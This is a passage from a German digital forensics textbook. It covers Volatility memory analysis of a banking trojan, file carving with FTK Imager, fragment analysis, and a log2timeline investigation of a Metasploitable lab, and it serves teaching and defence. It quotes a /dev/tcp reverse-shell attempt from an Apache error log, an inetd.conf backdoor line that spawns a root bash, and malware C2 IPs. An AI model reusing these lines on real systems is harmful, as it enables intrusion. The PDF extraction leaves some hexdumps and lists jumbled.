Host:239.255.255.250:1900 Host:239.255.255.250:1900 Host: 41.168.5.140:8080 172.16.112.128 255.255.255.0 172.16.112.2 0.0.0.0 172.16.112.254 172.16.112.2 ... Ausgabe gekürzt 5.1.2600.5512 Version 3.11.01.24N16 w1.3.14.3.2.22 w1.3.14.3.2.22 172.16.112.128 255.255.255.0 172.16.112.2 0.0.0.0 172.16.112.254 172.16.112.2 0.0.0.0 mark@REMnux$ strings dlls_extracted/1640.dmp |grep -E "[a-z]+\.[a-z]{2,3}" "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe" C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe *treasurypathways.com* *weblink.websterbank.com* *trz.tranzact.org* *secureport.texascapitalbank.com* *tdbank.com* *online.ovcb.com* *ebanking-services.com* *schwab.com* *billmelater.com* *chase.com* ... Ausgabe gekürzt
document.getElementById("errrr1").style.display = 'none'; document.getElementById("errrr2").style.display = 'none'; date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); document.cookie = name+"="+value+expires+"; path=/"; 109
var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); ... Ausgabe gekürzt parvdm.pdb h.rdata audstub.pdb ntoskrnl.exe null.pdb ntoskrnl.exe h.rdata dxgthk.pdb dxgthk.sys
Wir finden neben URLs von einigen Bank-Webseiten auch eine Menge Javascript und diverse Dateinamen. Das macht die Datei noch viel suspekter. Prüfen wir noch ob die zwei zuvor gefundenen IP-Adressen, mit denen Kommuniziert wurde, in diesem Memory-Dump vorkommen: mark@REMnux$ strings dlls_extracted/1640.dmp |grep 41.168.5.140 Host: 41.168.5.140:8080 mark@REMnux$ strings dlls_extracted/1640.dmp |grep 125.19.103.198 mark@REMnux$
Zumindest 41.168.5.140 kommt in dem Speicherbereich der suspekten Datei vor. Wenn Sie mit regulären Ausdrücken nicht vertraut sind, dann lernen Sie diese unbedingt. Für die Suche nach Mustern sind Sie unerlässlich: mark@REMnux$ strings dlls_extracted/1640.dmp |grep -E "[a-z]+\.[a-z]{2,3}" |wc -l 4599 mark@REMnux$ strings dlls_extracted/1640.dmp |wc -l 307125
110
Wie Sie hier sehen hat uns das Suchmuster die Ausgabe von 307.125 auf 4.599 Zeilen verkürzt! Auch wenn der gezeigte Filter noch etwas grob ist, haben wir dennoch die Arbeit auf ca. 1,5% der Daten beschränkt und auch gleich mit den ganzen Javascript-Zeilen einen Glückstreffer gelandet denn diese hatte ich gar nicht im Sinn! Am Prompt wird Ihnen vielleicht aufgefallen sein, dass ich diese Analyse auf meinem REMnux System gemacht habe - auf einem Windows-Rechner ginge das auch aber wir sind dann einen versehentlichen Doppelklick oder Tastendruck auf Enter davon entfernt das System zu infizieren. Auch wenn die Systeme nicht am Netz hängen, will ich wegen eines kleinen Fehlers nicht meine Workstation neu aufsetzen und einrichten müssen. Daher mache ich derartige Analysen lieber auf einem separaten Linux-System. Für den Live-Test von Schadware habe ich einen alten Laptop mit einer kleinen 128GB SSD die ich mehrfach geklont habe. So kann ich das System sehr schnell wieder zu rücksetzen nach einem Test.
111
Volatility 3 Die neuere Version von Volatility bringt einige Änderungen und eine übersichtlichere Plugin-Namensgebung aber derzeit vermisse ich noch das ein- oder andere Plugin wie zB psxview das dazu verwendet wird um pslist, psview und einige andere miteinander zu vergleichen um Software zu finden die sich vor dem ein- oder anderen Plugin versteckt. Dafür fällt das Bestimmen eines Profils gänzlich weg... Sehen wir uns dazu ein paar kurze Beispiele an: PS D:\vol3> py.exe .\vol.py -f ..\memdump.mem windows.cmdline.CmdLine Volatility 3 Framework 2.0.0 Progress: 100.00 PDB scanning finished PID Process Args 4 System Required memory at 0x20 is not valid (process exited?) 100 Registry Required memory at 0x20 is not valid (process exited?) 340 smss.exe \SystemRoot\System32\smss.exe ... Ausgabe gekürzt
Mit diesem Plugin können die Kommandozeilenargumente der laufenden Programme angezeigt werden. PS D:\vol3> py.exe .\vol.py -f ..\memdump.mem windows.malfind.Malfind Volatility 3 Framework 2.0.0 Progress: 100.00 PID Process Start VPN PrivateMemory File output 744 services.exe WRITE 1 1 9c 50 51 52 53 55 56 41 50 41 51 41 52 41 41 54 41 55 41 56 41 48 83 ec 28 e8 00 00 00 5b 48 8d 8b df 05 00 48 8d 5b 3f ff d3 83 c4 28 41 5f 41 5e 5d 41 5c 41 5b 41 5a 41 53 41 54 41 55 41 8d 5b 3f ff d3 48 83 ... Ausgabe gekürzt 112
PDB scanning finished End VPN Tag Protection Hexdump Disasm
CommitCharge
0x7df5d9d40000 0x7df5d9d40fff VadS PAGE_EXECUTE_READDisabled 57 .PQRSUVW 53 APAQARAS 57 ATAUAVAW 00 H..(.... 00 .[H..... 48 .H.[?..H 41 ..(A_A^A 41 ]A\A[AZA 9c 50 51 52 53 55 56 57 41 50 41 51 41 52 56 41 57 48 83 ec 28 e8 00 00 00 00 5b 48 8d 8b df 05 00 00 48 c4 28 41 5f 41 5e 41 5d 41 5c 41 5b 41 5a 41
Das Malfind-Plugin hilft dabei DLL und Code-Injections zu finden. Das folgende Plugin liefert uns die laufenden Prozesse und die ihnen zugeordneten Privilege-Tokens: PS D:\vol3> py.exe .\vol.py -f ..\memdump.mem windows.privileges.Privs Volatility 3 Framework 2.0.0 PID Process Value 4 System 2 ... Ausgabe gekürzt
Privilege SeCreateTokenPrivilege
Attributes Present
Description Create a token object
Sehr interessant ist auch die Möglichkeit Yara zu nutzen: PS D:\FORENSIK\volatility3> py.exe .\vol.py -f ..\Case_2021_123\memdump.mem yarascan.YaraScan --yara-file .\find_exe.yar Volatility 3 Framework 2.0.0 Progress: 100.00 Offset Rule Component
PDB scanning finished Value
0x827c003b0000 0x8604035c0000 0x860411bc0000
$mag_no 4d 5a $mag_no 4d 5a $mag_no 4d 5a
DetectExe DetectExe DetectExe
Das yarascan.YaraScan-Plugin erlaubt es mit --yara-file die Datei mit den entsprechenden Regeln anzugeben. Hier habe ich eine ganz einfache Test-Datei mit folgendem Inhalt erstellt: rule DetectExe { meta: description = "Detect EXE files based on magic number" author = "Mark B." date = "2021-12-17" strings: $mag_no = {4D 5A} condition: $mag_no at 0 }
113
Diese Regel erlaubt es Dateien zu finden die mit den Hex-Werten 4D 5A beginnen ($mag_no at 0). Dies entspricht MZ in ASCII. So werden zB alle EXE- und DLL-Dateien gefunden. Eine Liste der Magic-Numbers bzw. Dateityp-Signaturen finden Sie unter anderem auf folgender Seite: https://www.garykessler.net/library/file_sigs.html
Eine Übersicht der ganzen Plugins erhalten Sie mit: PS D:\vol3> py.exe .\vol.py --help
114
115
ANALYSE VON DATENTRÄGERN Auch wenn wir viele interessante Informationen aus Netzwerklogs und RAMDumps gewinnen können liegt doch meist der Großteil der Beweise auf den Datenträgern. Zuerst sollten wir uns ansehen welche Datenträger wir in der Regel finden und wie Daten darauf gespeichert werden. HDDs ... sind magnetische Datenträger und existieren seit 1956. Sie speichern die Daten auf beschichteten Metall-, Keramik- oder Glasscheiben und sind in Sektoren, Tracks und Zylinder aufgeteilt. Ein Sektor kann 512 Byte oder bei größeren Platten auch 4 Kilobyte (EF bzw. Extended Format) groß sein. Ein Ring von Sektoren auf einer Seite einer Magnetscheibe ergibt dann einen Track. Die Tracks auf allen Magnetscheiben die auf der gleichen Position sind ergeben einen Zylinder:
Abb. Sektor, Track und Zylinder (von links nach rechts)
SSDs ... speichern die Daten nicht als magnetische, sondern als elektrische Ladung in NAND Chips. Unterteilt wird der Speicher hier in Pages, die in Blöcken zusammengefasst werden. Ein Controller sorgt hierbei dann für eine gleichmäßige Datenverteilung (WearLeveling) da alle Flash-Speicher nur eine bestimmte Anzahl von Schreibvorgängen verkraften. USB-Sticks und Speicherkarten ... sind auch Flash-Speicher wie SSDs nur weniger komplex im Aufbau.
116
CDs, DVDs und Blu-ray Disks ... sind optische Medien auf denen Daten mit Hilfe eines Laserstrahles eingebrannt und wieder gelesen werden. Diese Medien sind quasi ungeschützt und daher sehr gefährdet was mechanische Beschädigungen angeht. Dateisysteme ... Datenträger selber kennen keine Dateinamen, Erstellungs- und Zugriffsdaten oder Besitzer und Zugriffsrechte. Datenträger kennen nur LBAs (Logische Block Adressen). Das Dateisystem fasst mehrere Sektoren in so genannte Cluster zusammen und speichert quasi wie eine Datenbank welche Datei in welchen Clustern liegt und wem diese Datei gehört, wer darauf Zugriff hat, wann diese Datei erstellt oder zuletzt geändert wurde, etc. Die gängigsten Dateisysteme sind: > > > > >
FAT / FAT32 / exFAT für USB-Sticks, Speicherkarten, etc. NTFS / ReFS für Windows-Rechner HFS+ / APFS für Max OS X EXT3 / EXT4 / XFS für Linux ZFS für Solaris
Cluster und LBAs ... Logische Block Adressen sind nichts weiter als eine Nummerierung der Sektoren von 0 - X. Platten kennen intern auch PBAs (Physische Block Adressen) die den Physischen Sektoren entsprechen. Eine Festplatte hat aber mehr Sektoren als dem User zur Verfügung stehen. Einerseits werden einige Sektoren benutzt um die Firmware der Platte zu speichern und andererseits gibt es Reserve-Sektoren die benutzt werden wenn ein Sektor ausfällt. LBA und PBA stimmen also so lange überein, bis ein Sektor ausfällt, dann wird zB LBA 171.232 mit PBA 387.231 verknüpft und PBA 171.232 als defekt markiert. Cluster sind die Einheit in der das Dateisystem arbeitet und sie entsprechen ein paar zusammenhängenden Sektoren. So bilden zB die 512 Byte langen Sektoren 0 - 7 den 4 KB großen Cluster 0.
117
Suche nach Dateifragmenten und gelöschten Dateien Die erste Tätigkeit bei der Analyse sollte das Suchen nach gelöschten Dateien und Dateifragmenten sein damit man diese in die folgenden Analysen mit einbeziehen kann! Dateien werden beim Löschen nicht überschrieben. Es wird nur der Speicherplatz als wieder verfügbar vorgemerkt. Neue Daten können also die alten Daten überschreiben aber so lange das noch nicht passiert ist, kann man auf die gelöschten Dateien noch zugreifen. Die Ausnahme sind hierbei einige moderne Festplatten und SSDs in Verbindung mit aktiviertem TRIM Kommando. Hierbei benachrichtigt das Betriebssystem den Datenträger darüber, dass gewisse Daten nicht mehr benötigt werden und der Datenträger entfernt diese Daten dann sicher. Sie können sich das also wie eine Art Müllabfuhr vorstellen, die nach wenigen Sekunden Inaktivität der Platte mit anderen Hintergrundprozessen zusammenarbeitet. Wir haben bei der Suche nach verlorenen Daten zwei Ansätze - über das Dateisystem an sich und die Suche nach Dateien anhand von Signaturen. Da Speicherplatz im Dateisystem als wieder verwendbar markiert wurde, ist es nicht schwer die so markierten Bereiche herauszufiltern. Hierbei können wir in der Regel auch rekonstruieren wo die Datei gespeichert war und wie diese Datei hieß. Beim sogenannten RAW-Recovery oder File-Carving suchen wir den gesamten Datenträger nach bestimmten Markern ab. Diese nennt man auch Magic Numbers oder zu Deutsch Datei-Signaturen. Eine ausführliche Liste finden Sie hier: https://en.wikipedia.org/wiki/List_of_file_signatures
Für die folgende Übung werden wir zwei dieser Signaturen benötigen:
FF D8
FF D9
25 50 44 46
25 25 45 4F 46 0D 0A
Jede Datei dieses Typs beginnt mit dieser charakteristischen Signatur. Viele Dateien haben auch einen End-Marker, aber nicht alle.
118
Damit lassen sich auch Dateifragmente wiederherstellen. Was wir damit machen können werden wir uns im Anschluss ansehen. Laden wir zuerst von https://www.cfreds.nist.gov/FileCarving/index.html die Datei L0_Graphic.dd herunter und entpacken sie. Ich werde hier FTK Imager verwenden um diese Übung zu demonstrieren aber Sie können gerne einen Hex-Editor verwenden wie zB HxD. Also öffnen wir unser Image und machen uns auf die Suche:
Dazu wählen wir im Menü File den Punkt Add Evidence Item. Dann werden wir aufgefordert den Typ des Beweismittels zu wählen... Hier wählen wir Image File aus und klicken auf weiter >. Dann Sollen wir die Image-Datei auswählen:
119
Nachdem wir das getan haben, klicken wir auf Finnish. Dann sehen wir die 4 Hauptbereiche von FTK Imager. Links oben ist die Liste der Beweis-Datenträger und wir können in der Ordnerstruktur navigieren. Rechts oben ist die Dateiliste und darunter der Hex-Viewer. Links unten haben wir verschiedene Zusatzinformationen. Aktivieren Sie nun aus dem Menü View die Option Show Hex Position values.
Dann können wir mit Strg + F die Suche starten:
120
Wählen Sie unter Typ Binary (hex) aus und geben Sie als Suchmuster FFD8 ein und klicken Sie auf Find.
Der erste Treffer ist nicht am Sektorbeginn - theoretisch könnten wir hier ein eingebettetes JPG haben, dass in einer anderen Datei steckt aber diese Übung sollte nur eine einzige JPG-Datei haben und die ist nicht eingebettet.
121
Abgesehen davon sollte ein paar Byte nach dem Dateibeginn ein JFIF (4A 46 49 46) kommen und auch das fehlt. Daher sind das irgendwelche Daten in einer der anderen Dateien oder es ist Datenmüll der von gelöschten Dateien übriggeblieben ist. Dateien fangen in der Regel am Beginn eines Clusters an (außer sie sind in einer anderen Datei eingebunden), da ein Cluster mehrere Sektoren umfasst ist es in dem Fall egal ob wir vom Sektor- oder Cluster-Anfang sprechen. Hex-Editoren zeigen Ihnen aber in der Regel die Sektoren- und nicht die Clustergrenzen an. Wenn wir ein wenig weitersuchen und ein paar andere Stellen überspringen, die ebenfalls nicht passen, dann landen wir hier:
Das sieht sehr gut aus. Jetzt brauchen wir nur das Dateiende. Wir merken uns 0x1BC8C00 als Dateianfang und suchen nun nach FFD9:
122
Auch diese Stelle passt nicht. Hier sind wir wieder mitten in der Datei und danach folgen weitere Daten - also kann das kaum ein Dateiende sein. Maximal das Dateiende einer eingebetteten Vorschaudatei aber dazu später mehr...
Das nächste Ergebnis sieht besser aus. Nach dem Dateiende kommt nur noch
00 (NUL Byte). Das ist ziemlich sicher das Dateiende - also klicken wir mit dem Cursor nach FFD9 in den Hex-Viewer und betrachten unten die Statuszeile.
123
Darin finden wir Cursor pos = 0x1BD792C und damit können wir nun die Dateilänge berechnen. Ich nutze dazu Python: >>> 0x1BD792C - 0x1BC8C00 60716
Die Datei ist also 60.716 Bytes lang. Dann klicken wir mit rechts auf den HexViewer und wählen den Punkt Go to offset aus. Hier geben wir 1BD8C00 (den Beginn der Datei) ein und wählen Hex und Beginning of the file an:
Nachdem wir auf OK geklickt haben, sind wir am Dateibeginn. Klicken Sie nun wieder mit rechts in den Hex-Viewer und wählen Sie Selection Size aus:
124
Geben Sie nun die Zahl 60719 ein und achten Sie darauf auch Dezimal auszuwählen. Dann können wir den Hex-View wieder mit recht anklicken und den Punkt Save selection... wählen. Wenn wir die Datei nun unter einem sinnvollen Namen abgespeichert haben, können wir das Bild öffnen und wir werden in Moskau begrüßt! Als Dateiname verwende ich immer folgendes Schema Dateityp_Offset_Länge: Hier wäre da dann jpg_1BC8C00_60716.jpg. Damit habe ich alle JPG-Bilder in einer Dateiauflistung zusammen und dank Offset und Länge kann ich immer prüfen ob es einen Fehler gab und ich etwas falsch interpretiert habe oder einfach die Datei wiederfinden. In der Regel überlasse ich diesen sehr zeitaufwendigen Prozess aber den Computer selbst. Hierzu kann man die entsprechenden Funktionen in forensischen Tools nutzen oder auf externe Software wie r-Studio, UFS-Explorer oder auch Photorec zurückgreifen! Versuchen Sie als kleine Übung aus der Datei L0_Documents.dd ein PDF zu extrahieren.
125
Musterlösung PDF extrahieren Nachdem wir das Image geladen haben und auf Unrecogniced filesystem und dann auf Unallocated space in der Dateiliste geklickt haben, können wir nach der PDF-Signatur 25504446 suchen. Bei Offset 4E2000 werden wir dann fündig. Das Dateiende finden wir dann auf 7E9753 und damit können wir rechnen: >>> 0x7E9753 - 0x4E2000 3176275
Dann springen wir zum Offset 4E2000 zurück und wählen eine Länge von 3176275 Bytes aus. Das können wir dann mit Rechtsklick -> Save selection... speichern. Sobald wir das PDF öffnen sehen wir eine Vorstellung von Office 2007!
126
Dateifragmente untersuchen Eine derartige Untersuchung ist extrem aufwendig und kann je nach dem wie viele Fragmente man findet einige hundert Arbeitsstunden verschlingen. Dies ist nur ein kleiner Ausblick auf fortgeschrittene Techniken. Damit wir alle mit den gleichen Daten arbeiten können, habe ich eine kleine Dateisammlung erstellt und jeweils ein 512 Byte (1 Sektor), 4 Kilobyte (ein EF- oder 4k-Sektor) und ein 32 Kilobyte (64 Sektoren bzw. 8 EF-Sektoren) großes Fragment vom Dateianfang und der Dateimitte entnommen. Derartige Fragmente finden sich im Slack-Space des Dateisystems oder auch nach der Wiederherstellung von defekten bzw. ausgemappten Sektoren. Festplatten haben einige Reserve-Sektoren, die bei dem Ausfall eines Sektors dann als Ersatz genutzt werden. Damit können aber Dateifragmente auf den Festplatten verbleiben, die man nicht mal durch sicheres Löschen entfernen kann! Slack-Space ... ist Speicher innerhalb eines Clusters, der nicht genutzt wird. Stellen wir uns vor Cluster X war zuvor mit einer 3,8kb großen Datei gefüllt welche dann gelöscht wurde. Nun ist dieser Cluster wieder mit einer Datei belegt wurden, die nun aber nur 1,3kb groß ist. Also wurden von den ursprünglich 8 belegten Sektoren nun nur die ersten 3 Sektoren überschrieben. Die 5 nun ungenutzten Sektoren sind der Slack-Space und enthalten nach wie vor Fragmente der alten Datei. Das Generieren der Dateifragmente erledigt folgendes Python-Script: #!/usr/env/python3 import os dir = os.getcwd() files = os.listdir(dir) for f in files: fpath = os.path.join(dir, f) if os.path.isfile(fpath) and not f.endswith(".py"): print(f) # Read file sector_size = 512 sectors = [] with open(fpath, "rb") as fh: sector = fh.read(sector_size)
127
while sector: sectors.append(sector) sector = fh.read(sector_size) middle
= int(len(sectors) / 2)
# Save fragments fpath = os.path.join(os.path.join(dir, "512b"), "first_" + f) with open(fpath, "wb") as fh: sector = fh.write(sectors[0]) fpath = os.path.join(os.path.join(dir, "512b"), "middle_" + f) with open(fpath, "wb") as fh: sector = fh.write(sectors[middle]) fpath = os.path.join(os.path.join(dir, "4kb"), "first_" + f) with open(fpath, "wb") as fh: for i in range(8): sector = fh.write(sectors[i]) fpath = os.path.join(os.path.join(dir, "4kb"), "middle_" + f) with open(fpath, "wb") as fh: for i in range(middle, middle + 8): sector = fh.write(sectors[i]) if f.endswith(".jpg") or f.endswith(".mp4") or f.endswith(".bmp"): fpath = os.path.join(os.path.join(dir, "32kb"), "first_" + f) with open(fpath, "wb") as fh: for i in range(64): sector = fh.write(sectors[i]) fpath = os.path.join(os.path.join(dir, "32kb"), "middle_" + f) with open(fpath, "wb") as fh: for i in range(middle, middle + 64): sector = fh.write(sectors[i])
Daraus ergibt sich folgende Datei- und Ordnerstruktur: user@caine ~$ ls * artikel.docx extract.py sample.mp4 32kb: first_artikel.docx 128
artikel.txt no_exif.jpg
exif.jpg PIC000.bmp
first_no_exif.jpg
first_sample.mp4
middle_exif.jpg first_PIC000.bmp middle_sample.mp4
middle_PIC000.bmp middle_artikel.docx
first_exif.jpg middle_no_exif.jpg
4kb: first_artikel.docx middle_artikel.docx first_artikel.txt middle_artikel.txt
first_exif.jpg middle_exif.jpg first_no_exif.jpg middle_no_exif.jpg
first_PIC000.bmp middle_PIC000.bmp first_sample.mp4 middle_sample.mp4
512b: first_artikel.docx middle_artikel.docx first_artikel.txt middle_artikel.txt
first_exif.jpg middle_exif.jpg first_no_exif.jpg middle_no_exif.jpg
first_PIC000.bmp middle_PIC000.bmp first_sample.mp4 middle_sample.mp4
Die Daten stehen unter https://hackenlernen.com/db/fragments.zip zum Download bereit. Textdateien ... stellen sicher den besten Fall dar denn diese enthalten nur Text und sind damit auch problemlos lesbar selbst wenn man nur ein beliebiges Fragment besitzt: user@caine ~$ xxd 512b/middle_artikel.txt 00000000: 6169 6c73 2c20 5765 6273 6569 7465 00000010: 756e 6420 7669 656c 656e 2061 6e64 00000020: 656e 2044 696e 6765 6e2e 2044 6120 00000030: 6573 2069 6d6d 6572 2077 6965 6465 00000040: 7a75 2053 6368 7769 6572 6967 6b65 00000050: 656e 2c20 4665 686c 6572 6e20 756e 00000060: 5072 6f62 6c65 6d65 6e20 66c3 bc68 00000070: 6520 7775 7264 656e 2064 6965 2055 00000080: 636f 6465 2d5a 6569 6368 656e 6b6f 00000090: 6572 756e 6765 6e20 6465 7220 5546 000000a0: 4661 6d69 6c69 6520 6765 7363 6861 000000b0: 656e 2e20 4865 7574 6520 6973 7420 000000c0: 462d 3820 6469 6520 616d 2077 6569 000000d0: 6e73 7465 6e20 7665 7262 7265 6974 000000e0: 6520 5a65 6963 6865 6e6b 6f64 6965 000000f0: 6e67 2e0a 0a0a 5554 462d 3820 6465 00000100: 5265 7474 6572 2069 6e20 6465 7220 00000110: 743a 0a2d 2d2d 2d2d 2d2d 2d2d 2d2d 00000120: 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d
6e20 6572 6469 7220 6974 6420 7274 6e69 6469 542d 6666 5554 7465 6574 7275 7220 4e6f 2d2d 2d0a
ails, Webseiten und vielen ander en Dingen. Da di es immer wieder zu Schwierigkeit en, Fehlern und Problemen f..hrt e wurden die Uni code-Zeichenkodi erungen der UFTFamilie geschaff en. Heute ist UT F-8 die am weite nsten verbreitet e Zeichenkodieru ng....UTF-8 der Retter in der No t:.---------------------------. 129
00000130: 00000140: 00000150: 00000160: 00000170: 00000180: 00000190: 000001a0: 000001b0: 000001c0: 000001d0: 000001e0: 000001f0:
0a44 6963 2066 6965 2075 6520 6e67 6e20 6569 2076 7072 2065 6e6b
616d 6874 c3bc 6465 6e74 5a65 656e 6465 6e74 6572 6163 696e 6f64
6974 206d 7220 6e65 6572 6963 207a 6e6e 2064 7363 6865 7a69 6965
2077 6568 6469 6e20 7363 6865 7520 2055 6965 6869 6e20 6765 7275
6972 7220 6520 5370 6869 6e6b 7665 5446 205a 6564 696e 6e20 6e67
6420 6ec3 7665 7261 6564 6f64 7277 2d38 6569 656e 2065 5a65 2e20
6573 b674 7273 6368 6c69 6965 656e 2076 6368 6572 696e 6963 536f
206e 6967 6368 656e 6368 7275 6465 6572 656e 2053 6572 6865 206b
.Damit wird es n icht mehr n..tig f..r die versch iedenen Sprachen unterschiedlich e Zeichenkodieru ngen zu verwende n denn UTF-8 ver eint die Zeichen verschiedener S prachen in einer einzigen Zeiche nkodierung. So k
Sie sehen also, dass die Daten direkt lesbar sind mit einem Hex-Editor - schöner können wir diese mit cat ausgeben: user@caine ~$ cat 512b/middle_artikel.txt ails, Webseiten und vielen anderen Dingen. Da dies immer wieder zu Schwierigkeiten, Fehlern und Problemen führte wurden die UnicodeZeichenkodierungen der UFT-Familie geschaffen. Heute ist UTF-8 die am weitensten verbreitete Zeichenkodierung. UTF-8 der Retter in der Not: ---------------------------Damit wird es nicht mehr nötig für die verschiedenen Sprachen unterschiedliche Zeichenkodierungen zu verwenden denn UTF-8 vereint die Zeichen verschiedener Sprachen in einer einzigen Zeichenkodierung. So k
Bitmap-Dateien ... sind primitive Bildformate die für jedes Pixel den entsprechenden Wert speichern. Das verbraucht sehr viel Speicherplatz im Vergleich zu komprimierten Bildformaten, ist dafür aber sehr leicht mit einem Hex-Editor zu rekonstruieren. Aber sehen wir uns zunächst an wie wir eine BMP-Datei überhaupt erkennen:
130
user@caine ~$ xxd 512b/first_PIC000.bmp 00000000: 424d 36cc 0300 0000 0000 3600 00000010: 0000 8001 0000 d800 0000 0100 00000020: 0000 00cc 0300 0000 0000 0000 00000030: 0000 0000 0000 a1a8 b29e a9b3 00000040: a5af 8c9f a694 9fa3 a7b2 b9a6 00000050: c06d 87a1 1d4e 4e1f 372b 2e38 00000060: 2d37 2a2e 382b 3040 2b36 4c2f 00000070: 4f39 424c 3555 5d42 9e88 75ae 00000080: 939f a18e 908e 8377 756d 5759 00000090: 3d4f 383a 4f37 3b4f 343c 5133 00000120: 2f36 292e 332a 3037 2d3b 4b3d 00000130: 5b3e 4261 4245 6445 4664 453b 00000140: 302f 3f2c 303c 2c2c 3828 2935 00000150: 273a 222b 4327 2c48 2f2f 4e35 00000160: 5239 3352 3932 5138 3450 3836 00000170: 3437 5332 3d4f 3249 4b31 6d64 00000180: 9f8f 859d 9787 a09f 88bc b5af 00000190: a093 8892 8a77 827e 596e 6533 000001a0: 2321 3320 2934 2429 3226 2932 000001b0: 2a41 2a29 482e 2c4a 332e 4d33 000001c0: 5431 3a58 373b 583a 3b57 3b3d 000001d0: 3c44 5d3f 4b61 4048 5d3c 495e 000001e0: 5b6d 4f6d 7f64 798e 7e85 9c95 000001f0: a9ad 8195 9998 a0a0 8695 925d
0000 1800 0000 9aa8 b1bb 2c2e 374d a393 4842 3d53 3a54 543f 2526 2e51 5137 4895 afb8 4c3e 2729 3050 593c 3d54 91b0 7165
2800 0000 0000 b18f 9cab 382b 363c a3a6 4f39 323b 403d 2c3f 3522 3732 3652 846d a997 1d34 3827 3235 3d59 6747 b181 415b
BM6.......6...(. ................ ................ ................ ................ .m...NN.7+.8,.8+ -7*.8+0@+6L/7M6< O9BL5U]B..u..... .......wumWYHBO9 =O8:O7;O4E+3=)08' /6).3*07-;K=:T@= [>BaBEdEFdE;T?,? 0/?,0 '2021-10-20 00:00:00'"
Mit -o legen wir das Format fest und mit -w den Namen der Ausgabedatei danach folgt der Pfad zur SQlite-DB. Außerdem können wir einen Filter-String als letzten Parameter übergeben. Hier habe ich mich dazu entschieden nur Ereignisse ab dem 20.10.2021 in die Timeline mit aufzunehmen.
310
Diese CSV-Datei können wir nun mit OpenOffice Calc, Excel oder TimelineExplorer öffnen und genauer untersuchen. Aber auch Log2Timeline ist nicht perfekt - derzeit können noch viele Artefakte bzw. Logdateien nicht geparst werden aber es ist zumindest ein guter Anfang und Sie können selbst Erweiterungen und Parser schreiben, die dann auch allen anderen zu Gute kommen. In diesem Fall finden wir zB Einträge wie [Wed Oct 27 08:18:05 2021] [error] [client 192.168.1.107] sh: /dev/tcp/192.168.1.2/3347: No such file or directory, referer: http://192.168.1.167/dvwa/vulnerabilities/exec/
in ./mountpoint/var/log/apache2/error.log, die nicht in der Timeline enthalten sind. In ./mountpoint/var/log/auth.log finden wir unter anderem folgende Zeilen: Oct 27 08:20:26 metasploitable sshd[4929]: Failed password for msfadmin from 192.168.1.168 port 60431 ssh2 Oct 27 08:20:30 metasploitable sshd[4929]: Accepted password for msfadmin from 192.168.1.168 port 60431 ssh2 Oct 27 12:10:19 metasploitable sshd[5896]: Accepted password for sys from 192.168.1.2 port 53604 ssh2 Oct 27 12:10:19 metasploitable sshd[5898]: pam_unix(sshd:session): session opened for user sys by (uid=0) Oct 27 12:10:35 metasploitable sshd[5898]: Received disconnect from 192.168.1.2: 11: disconnected by user Oct 27 12:10:35 metasploitable sshd[5898]: pam_unix(sshd:session): session closed for user sys
Sie müssen immer noch einen Teil der Arbeit von Hand machen und entsprechend in der Timeline ergänzen. Abgesehen davon hatte unsere händische Analyse des Live-Systems auch noch zu Tage gefördert, dass eine Root-Shell an Port 1524 hinterlassen wurde. Dies wollen wir uns an dieser Stelle noch ansehen.
311
Zuerst habe ich die Binärdatei .mountpoint/usr/sbin/xinetd auf virustotal.com hochgeladen um eine Infektion mit Schadware auszuschließen. Dies ist keine 100% zuverlässige Methode aber gut genug um zu entscheiden ob eine genauere Untersuchung mit einem Disassembler / Debugger wie Ghidra oder Radare2 Sinn macht. Danach habe ich mir die Konfigurationsdateien ./mountpoint/etc/xinetd.conf und ./mountpoint/etc/xinetd.d/* genauer angesehen. Diese sind ebenfalls unauffällig. Das hat mich dann kurzfristig etwas aus dem Konzept gebracht bis ich auf die Idee kam mir die Parameter genauer anzusehen: -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
Hierbei sorgt -inetd_compat dafür, dass die ./mountpoint/etc/inetd.conf ausgewertet wird und diese sehen wir uns nun gemeinsam an: root@Lab3:/home/kali/Cases/2021_002/mountpoint$ cat ./etc/inetd.conf ## netbios-ssn
stream
tcp
nowait
telnet
stream
tcp
nowait
telnetd /usr/sbin/tcpd
root
/usr/sbin/tcpd
/usr/sbin/in.telnetd
/usr/sbin/smbd
## ftp
stream
tcp
nowait
root
/usr/sbin/tcpd
/usr/sbin/in.ftpd
tftp
dgram
udp
wait
nobody
/usr/sbin/tcpd
/usr/sbin/in.tftpd /srv/tftp
shell
stream
tcp
nowait
root
/usr/sbin/tcpd
/usr/sbin/in.rshd
login
stream
tcp
nowait
root
/usr/sbin/tcpd
/usr/sbin/in.rlogind
exec
stream
tcp
nowait
root
/usr/sbin/tcpd
/usr/sbin/in.rexecd
ingreslock
stream
tcp
nowait
root
/bin/bash bash -i
Die letzte Zeile erklärt dann auch wie die Root-Shell zu Stande kommt. Damit stellt sich die Frage wann diese Datei zuletzt verändert wurde: root@Lab3:/home/kali/Cases/2021_002/mountpoint$ stat ./etc/inetd.conf Datei: ./etc/inetd.conf Größe: 529 Blöcke: 8 EA Block: 4096 reguläre Datei Gerät: 700h/1792d Inode: 140178 Verknüpfungen: 1 Zugriff: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Zugriff: 2021-10-27 13:42:30.000000000 +0200 Modifiziert: 2012-05-20 21:02:14.000000000 +0200 Geändert: 2012-05-20 21:02:14.000000000 +0200 Geburt: -
Da diese Root-Shell von den Erstellern von Metasploitable eingebaut wurde ist es auch nicht verwunderlich, dass die letzte Änderung der Datei 2012 war.
312
